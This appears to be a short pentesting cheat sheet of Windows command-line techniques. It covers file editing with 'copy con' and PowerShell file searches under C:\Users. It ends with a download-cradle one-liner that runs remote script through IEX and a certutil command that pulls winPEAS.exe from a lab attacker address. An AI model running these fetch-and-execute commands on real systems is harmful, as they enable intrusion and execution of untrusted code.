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How to edit text file from Windows CMD/CLI

Create/open file for editing:

copy con <filename>

Enter/paste text you want to put in the file

End and save the file:

Press CTRL+Z, then ENTER, then ENTER

If you want to change text in an existing file, first display the text by using the command TYPE, copy the text into an editor on the host, make required changes, then paste back in with the above COPY CON method.

PowerShell

File Searching

I can find specific file/folder names with :

Get-ChildItem -Recurse -Include user* -Path C:\Users\ -ErrorAction SilentlyContinue

If I want to look for files only I can add -File:

Get-ChildItem -Recurse -Include user* -File -Path C:\Users\ -ErrorAction SilentlyContinue

I can also find hidden files/folders with -force

Get-ChildItem -Recurse -File -force -Path C:\Users\ -ErrorAction SilentlyContinue

Remote Script Execution

Use the following to source and execute a rom a remote HTTP server on the local Windows machine:

$webclient=(New-Object Net.WebClient);$webclient.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $webclient.DownloadString("http://...")

File Downloads

Use the following to download a file from a remote web server:

certutil.exe -urlcache -split -f http://10.10.14.15/winPEAS.exe